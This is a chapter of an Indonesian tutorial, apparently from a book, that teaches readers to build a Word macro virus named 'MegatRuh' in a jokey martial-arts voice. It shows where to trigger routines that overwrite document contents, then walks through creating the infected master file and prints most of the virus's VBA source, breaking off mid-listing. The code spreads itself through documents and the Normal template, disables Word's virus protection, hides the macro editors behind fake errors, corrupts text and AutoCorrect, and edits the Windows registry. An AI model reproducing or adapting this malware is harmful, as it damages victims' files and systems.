BAB 9
Selamat datang di neraka !!!
Selamat datang di neraka !!!
Di bagian ini kita sebagai pendekar akan turun gunung. Mencoba untuk menguji keampuhan dan penguasaan jurus-jurus yang telah dipelajari. Dengan demikian kita akan tahu, jurus mana yang tepat dipakai untuk menghadapi suatu kondisi tertentu. Terkadang jurus Rembulan Menangis (misalnya) lebih cocok dipakai untuk situasi sore hari, dibandingkan dengan jurus Memanah Matahari. Dengan jurus yang tepat untuk situasi yang tepat, akan menghasilkan suatu hasil yang memuaskan.
Kita tidak perlu membunuh seekor semut dengan sebuah bom nulkir, bukan? He… he… :) Buang-buang energi dan sungguh tak berperasaan. Oleh karena itu rajin-rajinlah menganalisa jurus-jurus yang telah dipelajari, sehingga pas pemakaiannya.
Kita telah menyiapkan begitu banyak sub prosedur (routine) manipulasi untuk virus tercinta kita. Kini saatnya kita menggabungkannya dalam aksi virus. Tentu saja jenis manipulasi, berapa banyak dan waktu pemakaian sub prosedur ini terserah kepada kebijaksanaan Anda. Yang perlu dicermati adalah “jalur yang memungkinkan” untuk melaksanakannya. Kita dapat mengacu kemungkinan ini dari pembahasan pemicu virus sebelumnya. Kita lihat implementasinya sebagai berikut.
1. Saat file disimpan
Ini saat yang cukup tepat untuk mengaktifkan aksi virus. Lalu sub prosedur apa saja yang harus diaktifkan? Itu sulit untuk dijawab. Terserah sampeyan ! Disini akan diperlihatkan beberapa contoh aksi. Tapi sebelumnya kita ulang pembahasan sub prosedur FileSave yang telah kita bahas sebelumnya.
Sub FileSave()
On Error Resume Next
If ActiveDocument.Saved = False Then
InfeksiDokumen
InfeksiTemplate
On Error Resume Next
ActiveDocument.Save
ActiveDocument.Saved = True
End If
End Sub
Pada kondisi “standar” tersebut, saat file disimpan dokumen dan template hanya akan diinfeksi saja, tanpa terjadi manipulasi yang lain. Sekarang kita akan sisipi dengan rutin-rutin maut kita.
Pada contoh ini, kita menyisipkan dua jurus yang kita punyai, yaitu TSN dan RM. Pada listing “standar penyimpanan virus”, perhatikan letak penyisipan tersebut.
Contoh 1:
Sub FileSave()
On Error Resume Next
If ActiveDocument.Saved = False Then
InfeksiDokumen
InfeksiTemplate
On Error Resume Next
ActiveDocument.Save
ActiveDocument.Saved = True
TSN ‘ panggil sub prosedur Tarian Siluman Nakal
RM ‘panggil sub prosedur Rembulan Menangis
End If
End Sub
Manipulasi ini akan menyebabkan dokumen diacak dengan sub prosedur TSN, dan diruwetkan dengan sub prosedur RM. Tapi tidak berbahaya! Selama kita tidak melakukan penyimpanan data. Jadi pada saat disimpan, file akan disimpan dan diinfeksi virus. Setelah proses penyimpanan selesai barulah manipulasi dijalankan. Jadi data yang asli tidak rusak, hanya tampilan di layar saja yang menjadi berantakan. Untuk dapat bekerja kembali dengan memakai data yang terlihat benar, mau tidak mau harus menutup file tanpa melakukan penyimpanan. Bagi pemakai yang terbiasa “histeris” dalam menyimpan file (= mengadakan penyimpanan biarpun tidak melakukan pengubahan pada file), biarlah merasakan nasibnya. He.. he.. he… :).
Contoh 2 :
Pada contoh kedua ini, secara prinsip sama dengan contoh di atas. Hanya saja kita pindahkan letak “jurus pukulan” virus di atas perintah penyimpanan. Meski terlihat sederhana karena sekedar memindah perintah, namun efek yang terjadi sulit untuk dimaafkan. He.. he.. he…:)
Mengapa? Data-data yang sudah diobrak-abrik akan disimpan dan menindih data yang asli. Perhatikan penyisipan rutin manipulasi pada listing di bawah ini :
Sub FileSave()
On Error Resume Next
If ActiveDocument.Saved = False Then
InfeksiDokumen
InfeksiTemplate
TSN ‘ panggil sub prosedur Tarian Siluman Nakal
RM ‘panggil sub prosedur Rembulan Menangis
On Error Resume Next
ActiveDocument.Save
ActiveDocument.Saved = True
End If
End Sub
Itu baru dua contoh manipulasi yang diterapkan. Kita bisa menambahkannya sesuka hati, sebanyak rutin manipulasi yang telah kita siapkan.
2. Saat file dibuka
Pada waktu suatu file dibuka, kita dapat mengaktifkan rutin manipulasi virus, karena frekuensi untuk membuka file ini akan sering dilakukan oleh pemakai Word. Jika kita membuat suatu file, untuk melihatnya lagi, tentu harus dibuka bukan? Nah! Saat file atau dokumen dibuka aksi virus dapat dijalankan. Letak perintah manipulasi virus tersebut dapat kita cermati pada listing berikut.
Contoh 1:
Sub FileOpen()
WordBasic.DisableAutoMacros True
On Error Resume Next
If Dialogs(wdDialogFileOpen).Show <> 0 Then
InfeksiDokumen
ActiveDocument.Save
TTB ‘rutin manipulasi acak data – jurus Tarian Tiga Bidadari
Tantangan ‘rutin manipulasi pesan sponsor - jurus tantangan
HSL ‘rutin manipulasi AutoCorrect - jurus Halimun Serbu Lembah
End If
WordBasic.DisableAutoMacros False
End Sub
Pada contoh di atas dapat dilihat dokumen yang dibuka diinfeksi terlebih dahulu, kemudian disimpan. Sesudah disimpan baru aksi virus dijalankan. Pada contoh kita ini memakai 3 rutin manipulasi. Jumlah rutin ini terserah Anda. Yang jelas letaknya berada di bawah perintah ActiveDocument.Save.
Dengan cara ini, isi dokumen asli tidak kita ganggu. Kita dapat mengubah lokasi perintah pengaktifan, sehingga virus menjadi destruktif. Caranya? Pindah baris-baris perintah pengaktifan manipulasi di atas perintah penyimpanan. Listingnya dapat dilihat pada contoh 2.
Contoh 2 :
Sub FileOpen()
WordBasic.DisableAutoMacros True
On Error Resume Next
If Dialogs(wdDialogFileOpen).Show <> 0 Then
InfeksiDokumen
TTB ‘rutin manipulasi acak data – jurus Tarian Tiga Bidadari
Tantangan ‘rutin manipulasi pesan sponsor - jurus tantangan
HSL ‘rutin manipulasi AutoCorrect - jurus Halimun Serbu Lembah
ActiveDocument.Save
End If
WordBasic.DisableAutoMacros False
End Sub
3. Saat file Word diaktifkan dengan explorer
Saat suatu file dipanggil dari luar program Word, misalnya dengan windows explorer, juga merupakan waktu yang efektif untuk penampilan rutin manipulasi. Sebagian besar pemakai Windows, sering memanggil suatu dokumen langsung dari Windows explorer. Listingnya adalah sebagai berikut:
Sub AutoOpen()
Bobol
InfeksiTemplate
On Error Resume Next
NormalTemplate.Save
BB ‘panggil jurus Bintang Berguguran
TPD ‘panggil jurus Tarian Pena Dewa
End Sub
Pada saat ini dapat kita pergunakan rutin-rutin lain yang berhubungan dengan registry bila memang diinginkan. Misalnya menyikat habis pilihan pada menu Start. Semua terserah Anda.
4. Saat file ditutup
Pada kondisi file ditutup, dapat kita manfaatkan untuk menjalankan aksi. Beri saja rutin yang ringan-ringan… he… he… :)
Sub AutoClose()
InfeksiDokumen
MR ‘panggil rutin penghilang kemampuan shutdown – jurus Menikam Rembulan
MM ‘ panggil rutin penghilang fasilitas Find – jurus Memanah Matahari
Pesan ‘pesan sponsor dan manipulasi
End Sub
5. Saat keluar dari Word
Titik yang bagus untuk nampang, adalah saat akan keluar dari program Word. Kita bisa memasangkan apa saja yang kita inginkan. Berikut ini adalah salah satu contohnya.
Sub AutoExit()
MI ‘panggil rutin penghilang kemampuan shutdown – jurus Mencabut Ilalang
MM ‘ panggil rutin penghilang fasilitas Find – jurus Memanah Matahari
HSL ‘panggil rutin AutoCorrect - jurus Halimun Serbu Lembah
GP ‘panggil rutin animasi – jurus Gerhana Putih
Application.quit
End Sub
Pada contoh model virus nanti, dari ke 5 jalan masuk tersebut kita hanya akan mengaktifkan aksi virus pada saat keluar dari program Word dan saat suatu file ditutup. Biar tidak begitu kejam…. He….. he….he… :)
Tentu saja, Anda dapat mengubahnya sesuai dengan kebutuhan Anda.
Pada model virus kita nanti akan mempergunakan filter atau kriteria tertentu untuk mengaktifkan aksi virus. Akan kita lakukan dengan bantuan perintah IF …. ELSEIF … ENDIF. Kita akan menampilkan aksi virus selama 7 hari (alias satu minggu) dengan aksi yang bervariasi untuk setiap harinya. Selain itu untuk setiap harinya akan dibagi menjadi tiga periode waktu dengan tiga aksi yang berbeda. Kejam, ya? … He… He….:) Anggap saja sub prosedur ini kita beri nama PESAN. Listing selengkapnya adalah sebagai berikut.
Sub pesan()
If WeekDay(Date) = vbSunday And Time < TimeValue("4:00:00") Then
MR
X=msgbox(“Jurus : Menikam Rembulan !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbSunday And Time < TimeValue("17:00:00") Then
MM
X=msgbox(“Jurus : Memanah Matahari !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbSunday And Time < TimeValue("23:00:00") Then
PP
X=msgbox(“Jurus : Pukulan Pelangi !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
End If
If WeekDay(Date) = vbMonday And Time < TimeValue("4:00:00") Then
MK
X=msgbox(“Jurus : Mengurai Kabut !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbMonday And Time < TimeValue("17:00:00") Then
MI
X=msgbox(“Jurus : Mencabut Ilalang !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbMonday And Time < TimeValue("23:00:00") Then
MJ
X=msgbox(“Jurus : Melibas Jantung !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
End If
If WeekDay(Date) = vbWednesday And Time < TimeValue("4:00:00") Then
HSL
X=msgbox(“Jurus : Halimun Serbu Lembah !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbWednesday And Time < TimeValue("17:00:00") Then
MN
X=msgbox(“Jurus : Mengoncang Nadi !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbWednesday And Time < TimeValue("23:00:00") Then
LK
X=msgbox(“Jurus :Ledakan Kosmos !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
End If
If WeekDay(Date) = vbTuesday And Time < TimeValue("4:00:00") Then
HT
X=msgbox(“Jurus : Halimun Tunggal !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbTuesday And Time < TimeValue("17:00:00") Then
TPD
X=msgbox(“Jurus : Tarian Pena Dewa !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbTuesday And Time < TimeValue("23:00:00") Then
TSN
X=msgbox(“Jurus :Tarian Siluman Nakal !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
End If
If WeekDay(Date) = vbThursday And Time < TimeValue("4:00:00") Then
TDS
X=msgbox(“Jurus :Tarian Dua Siluman !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbThursday And Time < TimeValue("17:00:00") Then
KB
X=msgbox(“Jurus :Kedipan Bintang !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbThursday And Time < TimeValue("23:00:00") Then
BB
X=msgbox(“Jurus : Bintang Berguguran !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
End If
If WeekDay(Date) = vbFriday And Time < TimeValue("4:00:00") Then
RM
X=msgbox(“Jurus :Rembulan Menangis !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbFriday And Time < TimeValue("17:00:00") Then
BM
X=msgbox(“Jurus :Bintang Merah !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbFriday And Time < TimeValue("23:00:00") Then
LR
X=msgbox(“Jurus :Lolongan Rembulan !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
End If
If WeekDay(Date) = vbSaturday And Time < TimeValue("4:00:00") Then
GP
X=msgbox(“Jurus :Gerhana Putih !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbSaturday And Time < TimeValue("17:00:00") Then
KN
X=msgbox(“Jurus :Kibasan Naga !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
ElseIf WeekDay(Date) = vbSaturday And Time < TimeValue("23:00:00") Then
LK
X=msgbox(“Jurus :Ledakan Kosmos !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
End If
TP ‘ tantangan pembuka
PS ‘ prasasti siluman
JP ‘ jejak pendekar
On Error Resume Next
ActiveDocument.Save
End Sub
Dari listing di atas saya tidak akan membahas semua baris yang ada, karena secara prinsip sama saja. Kita ambil sedikit saja, ya…
• Sub pesan()
Kita buat suatu sub prosedur baru yang bernama PESAN. Sub prosedur ini berguna untuk menyaring pengaktifan aksi virus untuk setiap harinya selama satu minggu.
• If WeekDay(Date) = vbSunday And Time < TimeValue("4:00:00") Then
Kriteria ini berarti jika hari sama dengan minggu dan di bawah jam 4 pagi, maka lakukanlah aksi ….. Kriteria ini ditujukan pada maniak komputer (seperti saya dan Anda ..:)). Maklum bekerja dengan komputer sampai tidak ingat waktu. He.. he… :) dari jam 11 malam sampai jam 4 pagi… ya ampun! Benar-benar full semangat dan tak termaafkan!
• MR
Jurus Menikam Rembulan! Masih ingat jurus ini bukan. Jurus ini dipakai untuk mengaktikan manipulasi registry Windows untuk menghilangkan fasilitas RUN pada menu START.
• X=msgbox(“Jurus : Menikam Rembulan !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
Agar tidak kelihatan sebagai seorang “pengecut”, kita tampilkan pesan pada pemakai, bahwa ia telah terkena pukulan. Kebetulan jurus yang kita pakai adalah Menikam Rembulan. Jantan atau konyol ya…?
• ElseIf WeekDay(Date) = vbSunday And Time < TimeValue("17:00:00") Then
Jika kriteria pertama (di atas) tidak sesuai, maka kriteria ini akan diperiksa oleh virus. Jika hari sama dengan minggu dan berada di bawah jam 5 sore, maka lakukan aksi berikut. Ini sama halnya kita membatasi waktu dari jam 4 pagi sampai jam 5 sore untuk kriteria kedua ini.
Kriteria ini ditujukan pada pemakai yang biasa-biasa saja. Maklum bekerja dengan komputer pada saat yang dapat dianggap normal. He.. he… :)
• MM
Jurus Memanah Matahari, kita aktifkan untuk manipulasi kriteria kedua ini. Manipulasi ini juga manipulasi registry Windows yang akan menghilangkan pilihan FIND dari menu START.
• X=msgbox(“Jurus : Memanah Matahari !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
Ingat! Ingat! Kita tampilkan pesan agar pemakai tahu bahwa komputernya terkena virus. Berilah ia kesempatan untuk berpikir dan merenungkan apa yang sedang terjadi. Oke ? …
• ElseIf WeekDay(Date) = vbSunday And Time < TimeValue("23:00:00") Then
Kriteria ketiga ini adalah jika hari minggu dan waktunya di bawah jam 11 malam. Jadi range waktu pengaktifannya adalah diantara jam 5 sore sampai jam 11 malam. Jika diatas jam 11 malam, maka akan masuk ke kriteria pertama. Kriteria ini dipakai untuk pemakai komputer yang cukup bersemangat untuk kerja lembur dengan komputer. Tentu saja manipulasi yang kita “hadiahkan” agak cukup berat bila dibandingkan dengan pemakai normal. He… he… :).
• PP
Jurus Pukulan Pelangi kita ambil sebagai jurus pemukul. Lumayan agak parah !
• X=msgbox(“Jurus : Pukulan Pelangi !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
Kita tampilkan pesan “pemukulan” sehingga pemakai akan lebih waspada dalam menghadapi serangan kita. Biar adil!
• End If
Perintah ini merupakan pasangan dari perintah If WeekDay(Date) = vbSunday And Time < TimeValue("4:00:00") Then. Tidak ada yang istimewa untuk dibahas.
Untuk kriteria ke 6 hari lainnya listing programnya secara prinsip sama saja. Hanya mengubah nama harinya saja dan jurus yang dipakai. Perhatikan contoh berikut. Yang diubah adalah yang dicetak tebal.
If WeekDay(Date) = vbSunday And Time < TimeValue("4:00:00") Then
MR
Diubah menjadi :
If WeekDay(Date) = vbMonday And Time < TimeValue("4:00:00") Then
MK
Gampang bukan? Saya yakin Anda dapat dengan mudah melakukannya. Alasan….!!! Pada memang sedang malas untuk menulis dan memberi keterangan yang membosankan. He… he…
Bagian lain yang cukup penting untuk dibahas adalah baris setelah perintah End if paling akhir. Yaitu :
…baris perintah ………………………………
…baris perintah ………………………………
…baris perintah ………………………………
TP ‘ tantangan pembuka
PS ‘ prasasti siluman
JP ‘ jejak pendekar
On Error Resume Next
ActiveDocument.Save
End Sub
Keterangan listing program tersebut adalah sebagai berikut :
• TP
Baris perintah ini dipakai untuk mengaktifkan manipulasi Tantangan Pembuka.
• PS
Perintah ini mengaktifkan manipulasi Prasasti Siluman.
• JP
Perintah ini digunakan untuk mengaktifkan manipulasi Jejak Pendekar.
• On Error Resume Next
Perintah ini dipakai untuk berjaga-jaga jika terjadi suatu kesalahan yang tidak diinginkan terjadi. Sehingga lebih menjamin keberadaan dan hidup virus kita.
• ActiveDocument.Save
Perintah ini digunakan untuk menyimpan hasil manipulasi pada file yang aktif.
• End Sub
Perintah ini merupakan pasangan dari perintah SUB pesan. Sekedar melengkapi perintah agar sub prosedur dapat berfungsi dengan benar.
Ya… ya…saya tahu … di antara Anda mungkin akan protes dengan cara memfilter kriteria yang saya lakukan. Yaitu memakai perintah IF… ELSEIF…. ENDIF. Sehingga pemrograman menjadi bertele-tele. Bukankah sebaiknya memakai perintah SELET.. CASE….. ENDCASE, sehingga pemrograman menjadi lebih rapi, efisien dan efektif? Memang! Dan kebetulan saya memang tidak melakukannya karena lebih gampang menjelaskannya dengan perintah IF.. ENDIF. He… he… Selain itu, memang saya bukan seorang programmer yang baik kok. Jika Anda mau, lakukan saja sendiri! He…. he… :)
MegatRuh : Suatu Model virus
Akhirnya, sampailah kita pada pertempuran yang sesungguhnya. Selamat datang di neraka! Di bagian ini kita akan merangkumkan teori-teori dan jurus-jurus yang sudah kita pelajari kedalam bentuk suatu program virus yang sesungguhnya. Untuk itu kita harus mempersiapkan beberapa langkah sebagai berikut.
• Memanggil Word dan membuat dokumen baru
• Memanggil Visual Basic
• Membuat modul baru
• Membuat penanda virus
• Mengaktifkan modul penanda virus dan mengetikkan listing program
• Memanggil file yang sudah ada
• Membuat file baru
Sekarang kita lihat urutan langkah-langkah tersebut secara lebih rinci, seperti diulas di bawah ini.
• Memanggil Word dan membuat dokumen baru
Langkah pertama adalah mengaktifkan program Word. Setelah itu buatlah sebuah file baru dengan sembarang nama. Pada contoh ini anggap saja kita membuat dokumen baru dengan nama master.doc. klik New dan tekan ctrl S. kotak dialog Save As akan tampil. Ketikkan master dan klik Save. File baru ini siap dipakai sebagai media penampung virus.
• Memanggil visual basic
Selanjutnya, panggillah Visual basic dengan menekan Alt F11. Cara lain ialah dengan mengklik Tools, memilih Macro, dan memilih Visual Basic Editor. Jika kita benar dalam melakukannya editor Visual Basic akan tampil.
• Membuat modul baru
Kita buat suatu modul baru yang akan dipakai untuk menampung data-data pemrograman virus. Klik project (master). Yang ada pada jendela Project, sehingga ia aktif terpilih. Klik kanan sehingga menu konteks tampil. Pilih Insert lalu pilih module. Dengan cara ini suatu modul baru akan dibentuk pada dokumen master. Perhatikan jendela Project, suatu folder baru yang bernama Modules akan muncul. Di dalam folder modules ini terdapat suatu modul yang bernama module1. Disitulah kita akan mengetikkan program virus.
• Membuat penanda virus
Oleh karena virus yang kita buat memakai penanda virus dengan nama modul, maka kita harus mengubah nama module1 menjadi nama yang dijadikan sebagai penanda virus. Nama penanda virus kita adalah MEGATRUH. Oke, sekarang kita akan mengubahnya. Keluar dari editor Visual Basic untuk sementara waktu. Caranya dengan mengklik tanda minimize (tanda minus) yang ada pada pojok kanan jendela editor. Jendela editor Word akan terlihat. Klik Tools, dan pilih Template and Add-ins pada menu bar Word. Kotak dialog Template and Add-ins akan muncul. Klik tombol organizer, sehingga jendela organizer tampil. Klik tab Macro Project Items. Pada jendela bagian kiri (master) terlihat suatu nama modul yaitu module1. kita ganti nama modul tersebut dengan mengklik nama tersebut. Lalu klik tombol Rename, sehingga kotak Rename tampil. Ketikkan MEGATRUH, lalu klik Ok. Kemudian klik Close untuk selesai dan kembali ke editor Word.
• Mengaktifkan modul penanda virus dan mengetikkan listing program
Selanjutnya, aktifkan kembali editor Visual Basic. Klik tab Visual basic yang tadi telah kita minimized-kan. Pada saat editor Visual Basic aktif, perhatikan jendela Project. Nama module1 telah berubah menjadi MEGATRUH. Klik ganda nama modul MEGATRUH, sehingga ia aktif terpilih. Kursor akan berpindah ke jendela sebelah kanan. Nah! Saatnya kita mengketikkan listing program yang sudah kita siapkan. Listing model virus dapat kita lihat pada bagian di bawah ini yang berjudul : Listing model virus.
Anggap saja kita telah berhasil mengetikkannya. Simpanlah file Master.doc. Virus siap untuk dijalankan. Buatlah copy dari file master.doc dengan sembarang nama, misalnya cad-master.doc, ini untuk berjaga-jaga siapa tahu pada saat kita menjalankan file master.doc untuk menginfeksi file lain terjadi hal-hal yang tidak kita inginkan. Misalnya terhapus, atau modul program virus kita mengalami kerusakan. Oke? Sedia payung sebelum hujan.
• Listing Model Virus
Berikut ini adalah listing program virus yang harus diketikkan pada modul yang bernama MEGATRUH. Ketikkan dengan teliti, hati-hati dan menjiwai. He… he… juga, mungkin, siapkan kopi. Siapa tahu terjadi salah ketik dan harus lembur untuk mencarinya atau melakukan ketik ulang. …
' MegatRuh - The cyber Sufi
' email : MegatRuh@asia.com
' © Copy not Right- 2001
' MegatRuh - To the next generation of mine
' the legend begins ……
'---------------------------------------- Penggandaan diri
Sub InfeksiDokumen()
Dim DOk As Boolean
DOk = False
On Error Resume Next
For Each obj In ActiveDocument.VBProject.VBComponents
If obj.Name = "MEGATRUH" Then DOk = True
If obj.Name <> "MEGATRUH" And obj.Name <> "ThisDocument" Then
Application.OrganizerDelete Source:=ActiveDocument.FullName, _
Name:=obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next obj
If DOk = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument, Name:="MEGATRUH", Object:=wdOrganizerObjectProjectItems
End If
End Sub
Sub InfeksiTemplate()
Dim TOk As Boolean
TOk = False
On Error Resume Next
For Each obj In NormalTemplate.VBProject.VBComponents
If obj.Name = "MEGATRUH" Then TOk = True
If obj.Name <> "MEGATRUH" And obj.Name <> "ThisDocument" Then
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next obj
If TOk = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="MEGATRUH", Object:=wdOrganizerObjectProjectItems
End If
End Sub
'------------------------------------------- Benteng pertahanan
Sub Bobol()
Options.SaveNormalPrompt = False
Options.VirusProtection = False
Options.SavePropertiesPrompt = False
End Sub
Sub ToolsOptions()
Options.SaveNormalPrompt = True
Options.SavePropertiesPrompt = True
Options.VirusProtection = True
Dialogs(wdDialogToolsOptions).Show
Bobol
End Sub
Sub ToolsMacro()
H = MsgBox("File not found! Check setup… .", vbExclamation + vbOKOnly)
End Sub
Sub ViewVbCode()
H = MsgBox("A required DLL file is missing. .", vbExclamation + vbOKOnly)
ToolsMacro
End Sub
Sub FileTemplates()
H = MsgBox("path not found! Check setup… .", vbExclamation + vbOKOnly)
End Sub
Sub OpenMyMacro()
If InputBox("Enter password", "MegatRuh - The Hacker War") = "why me?" Then Application.ShowVisualBasicEditor = True
End Sub
'---------------------------------------------------------------- pemicu virus
Sub FileOpen()
WordBasic.DisableAutoMacros True
On Error Resume Next
If Dialogs(wdDialogFileOpen).Show <> 0 Then
InfeksiDokumen
ActiveDocument.Save
End If
WordBasic.DisableAutoMacros False
End Sub
Sub AutoExit()
pesan
Application.Quit
End Sub
Sub AutoOpen()
Bobol
InfeksiTemplate
On Error Resume Next
NormalTemplate.Save
End Sub
Sub AutoClose()
InfeksiDokumen
pesan
End Sub
Sub FileClose()
AutoClose
End Sub
Sub FileSave()
On Error Resume Next
If ActiveDocument.Saved = False Then
InfeksiDokumen
InfeksiTemplate
On Error Resume Next
ActiveDocument.Save
ActiveDocument.Saved = True
End If
End Sub
Sub Pewaktu()
Cek = Documents.Count
If Cek <> 0 Then
Normal.MEGATRUH.InfeksiDokumen
WordBasic.DisableAutoMacros False
On Error Resume Next
If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
Else: Application.OnTime Now + TimeValue("00:00:15"), "Normal.MEGATRUH.Pewaktu"
End If
End Sub
Sub AutoExec()
WordBasic.DisableAutoMacros True
Bobol
Application.OnTime Now + TimeValue("00:00:15"), "Normal.MEGATRUH.Pewaktu"
End Sub
'-------------------------------------manipulasi teks---------------------------------
' Jurus : Tarian Pena Dewa (TPD)
Sub TPD()
With ActiveDocument.Content.Find
.Text = "a"
With .Replacement
.Text = "z"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With
End Sub
'Jurus : Tarian Tiga Bidadari
Sub TTB()
With ActiveDocument.Content.Find
.Text = "a"
With .Replacement
.Text = "z"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With
With ActiveDocument.Content.Find
.Text = "u"
With .Replacement
.Text = "x"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With
With ActiveDocument.Content.Find
.Text = "e"
With .Replacement
.Text = "y"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With
End Sub
'Jurus: Tarian Siluman Nakal
Sub TSN()
With ActiveDocument.Content.Find
.Text = "a"
With .Replacement
.Text = "apa iya?"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With
End Sub
'Jurus: Tarian Dua Siluman
Sub TDS()
With ActiveDocument.Content.Find
.Text = "a"
With .Replacement
.Text = "apa iya?"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With
With ActiveDocument.Content.Find
.Text = "u"
With .Replacement
.Text = "untuk iseng!"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With
End Sub
'Jurus : Halimun Tunggal
Sub HT()
AutoCorrect.Entries.Add Name:="kami", Value:="MegatRuh"
End Sub
' Jurus : Halimun serbu lembah
Sub HSL()
AutoCorrect.Entries.Add Name:="dan", Value:="tetapi"
AutoCorrect.Entries.Add Name:="saya", Value:="Dora Emon"
AutoCorrect.Entries.Add Name:="yang", Value:="atau"
AutoCorrect.Entries.Add Name:="untuk", Value:="misal"
AutoCorrect.Entries.Add Name:="anda", Value:="Pokemon"
End Sub
Sub ToolsAutoManager()
On Error Resume Next
AutoCorrect.Entries("saya").Delete
AutoCorrect.Entries("anda").Delete
Dialogs(wdDialogsToolsAutoManager).Show
AutoCorrect.Entries.Add Name:="saya", Value:="Pokemon"
AutoCorrect.Entries.Add Name:="anda", Value:="Dora Emon"
End Sub
'Jurus : Kedipan Bintang
Sub KB()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
Selection.Font.Animation = wdAnimationLasVegasLights
Selection.HomeKey unit:=wdStory
End Sub
'Jurus : Bintang Berguguran
Sub BB()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
Selection.Font.Animation = wdAnimationMarchingBlackAnts
Selection.HomeKey unit:=wdStory
End Sub
'Jurus : Bintang Merah
Sub BM()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
Selection.Font.Animation = wdAnimationMarchingRedAnts
Selection.HomeKey unit:=wdStory
End Sub
'Jurus : Lolongan Rembulan
Sub LR()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
Selection.Font.Animation = wdAnimationShimmer
Selection.HomeKey unit:=wdStory
End Sub
'Jurus : Rembulan Menangis
Sub RM()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
Selection.Font.Animation = wdAnimationSparkleText
Selection.HomeKey unit:=wdStory
End Sub
'Jurus : Gerhana Putih
Sub GP()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
Selection.Font.Animation = wdAnimationBlinkingBackground
Selection.HomeKey unit:=wdStory
End Sub
'Jurus : Kibasan Naga
Sub KN()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
With Selection.Font
.Name = "Times New Roman"
.Size = 10
.Bold = True
.Italic = True
.StrikeThrough = True
.DoubleStrikeThrough = True
.Outline = True
.Emboss = False
.Shadow = False
.Hidden = False
.SmallCaps = False
.AllCaps = False
.Engrave = False
.Superscript = False
.Subscript = False
.Animation = wdAnimationBlinkingBackground
End With
Selection.HomeKey unit:=wdStory
End Sub
'--------------------------------------------------------------- manipulasi pesan sponsor
Sub HelpAbout()
x = MsgBox("Tidak ada sakit karena luka," & Chr(13) & "bila hal itu menyenangkanmu!", vbOKOnly + vbExclamation, "MegatRuh - Cyber Sufi")
End Sub
Sub pesanku()
x = MsgBox("MegatRuh - Cyber Sufi : Hope Beyond Hope …", vbOKOnly, "MegatRuh")
End Sub
'Jurus : Jejak Pendekar (JP)
Sub JP()
Application.UserName = "MegatRuh - Cyber Sufi"
Application.UserInitials = "MR2001"
Application.UserAddress = "MegatRuh@asia.com"
End Sub
'Jurus :Prasasti Siluman (PS)
Sub PS()
System.PrivateProfileString("", "Hkey_current_user\software\microsoft\msetup(Acme)\userinfo", "DefCompany") = "MegatRuh - Cyber Sufi"
System.PrivateProfileString("", "Hkey_current_user\software\microsoft\msetup(Acme)\userinfo", "DefName") = "Ambarawa-JawaTengah-Indonesia"
End Sub
'Jurus : Tantangan Pembuka (TP)
Sub TP()
System.PrivateProfileString("", "Hkey_Local_Machine\software\microsoft\Windows\CurrentVersion\WinLogon", "LegalNoticeCaption") = "MegatRuh - Cyber Sufi - LogOn "
System.PrivateProfileString("", "Hkey_Local_Machine\software\microsoft\Windows\CurrentVersion\WinLogon", "LegalNoticeText") = "Di atas langit ada langit, di atas harapan ada harapan, berdoalah!"
End Sub
'------------------------------------------------------ manipulasi registry
'Jurus : Menikam Rembulan (MR)
Sub MR()
Open "\nr.reg" For Output As #1
Print #1, "REGEDIT4"
Print #1,
Print #1, "[Hkey_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]"
Print #1, """"; "NoRun"; """"; "=dword:01"
Close #1
On Error Resume Next
Shell "regedit \nr.reg", vbHide
Kill "\nr.reg"
